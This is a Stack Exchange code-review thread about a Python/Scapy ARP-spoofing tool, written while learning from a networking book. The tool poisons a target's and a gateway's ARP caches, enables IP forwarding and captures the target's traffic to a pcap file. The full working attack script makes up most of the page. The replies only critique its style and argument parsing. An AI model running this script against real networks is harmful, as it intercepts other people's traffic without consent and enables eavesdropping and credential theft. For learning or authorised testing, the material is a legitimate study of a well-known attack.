2
\$\begingroup\$

Whilst learning from a Python Networking book, I've made this tool to perform a Man in the Middle attack by ARP-Spoofing on a Network. I think this has been done plenty before.

from scapy.all import *
import os
import sys
import threading
import signal


def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
    """Rstore targets and gateway"s ip to correct ARP"""
    send(ARP(op=2, psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac,count=5))
    send(ARP(op=2, psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac,count=5))
    os.kill(os.getpid(), signal.SIGINT)


def get_mac(ip):
    """Return a MAC address bound to an IP address."""
    responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),timeout=2,retry=10)
    for s,r in responses:
        return r[Ether].src


def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
    """Start ARP poisoning for a specified target and gateway."""
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] Beginning the ARP poison")
    while True:
        try:
            send(poison_target)
            send(poison_gateway)
            time.sleep(1)
        except KeyboardInterrupt:
            restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
    print("[*] Attack finished")


def main():
    try:
        interface = sys.argv[0]
        target_ip = sys.argv[1]
        gateway_ip = sys.argv[2]
    except:
        print ("""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS

Usage:
arper.py interface target_ip gateway_ip

Example:
python arper.py wlan0 192.168.1.70 192.168.1.1
""").strip()
        sys.exit(1)

    packet_count = 1000

    # Sets the ipv4 to enable port_forwarding
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    conf.verb = 0

    print("[*] setting up %s" % interface)

    gateway_mac = get_mac(gateway_ip)
    if gateway_mac is None:
        print ("[!] Failed to get gateway")
        sys.exit(1)
    print("[*] Gateway %s is at %s" % (gateway_ip, gateway_mac))

    target_mac = get_mac(target_ip)
    if target_mac is None:
        print("[!] Failed to get target")
        sys.exit(1)
    print("[*] Gateway %s is at %s" % (target_ip, target_mac))

    poison_thread = threading.Thread(
        target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac))
    poison_thread.start()

    try:
        print("[*] Starting sniffer for %d packets" % (packet_count))
        bpf_filter = "IP host %s" % (target_ip)
        packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)
        wrpcap("arper.pcap", packets)
    except KeyboardInterrupt:
        pass
    finally:
        restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
        print("[*] Finished capturing packets")

if __name__ == "__main__":
    main()
  • Some of concerns were with the heredoc string which looks ugly.
  • I was wondering how my style of approaching this was any good.
  • Just curious about a code-review overall.
  • Code is intended for both Python 2 and Python 3.
\$\endgroup\$
2
\$\begingroup\$

The heredoc uglyness can be avoided with either:

"""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS

Usage:
arper.py interface target_ip gateway_ip

Example:
python arper.py wlan0 192.168.1.70 192.168.1.1
"""


from scapy.all import *
import os

…

def main():
    try:
        interface = sys.argv[0]
        target_ip = sys.argv[1]
        gateway_ip = sys.argv[2]
    except:
        print(__doc__).strip()
        sys.exit(1)
    …

You could also improve your arguments parsing using existing tools: argparse in the standard library or click or docopt to name a few. Using argparse, your code could become:

"""
Arp-poisening tool by @Ludisposed
Works on both Python2 and Python3
This tool is made for Unix(Kali) OS
"""


import os
import sys
import signal
import argparse
import ipaddress
import threading

from scapy.all import *

…


def main(interface, target_ip, gateway_ip):
    packet_count = 1000

    # Sets the ipv4 to enable port_forwarding
    os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
    conf.verb = 0
    …


def parse_command_line():
    parser = argparse.ArgumentParser(
            description=__doc__,
            epilog='Example: python arper.py wlan0 192.168.1.70 192.168.1.1')
    parser.add_argument('interface', help='<some helpful description>')
    parser.add_argument('target_ip', type=ipaddress.ip_address, help='…')
    parser.add_argument('gateway_ip', type=ipaddress.ip_address, help='…')
    return parser.parse_args()


if __name__ == '__main__':
    args = parse_command_line()
    main(args.interface, args.target_ip, args.gateway_ip)

However, usage of the ipaddress module makes it require Python 3.3 at least. You could stick with strings but would get less checks done on the input.

\$\endgroup\$
2
  • \$\begingroup\$ Great review, __doc__ is a nice addition. Seem I learn something new everyday on this site. Intentionally I made this in Python2.7 and only later converted to Python3. I will give ipaddress module a shot, although my goal was to have it working for both python 2.x and 3.x. \$\endgroup\$
    – Ludisposed
    Jul 27 '17 at 9:08
  • 1
    \$\begingroup\$ @Ludisposed You can also rely on the backport of the module available on pypi: pypi.python.org/pypi/ipaddress \$\endgroup\$ Jul 27 '17 at 10:26

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.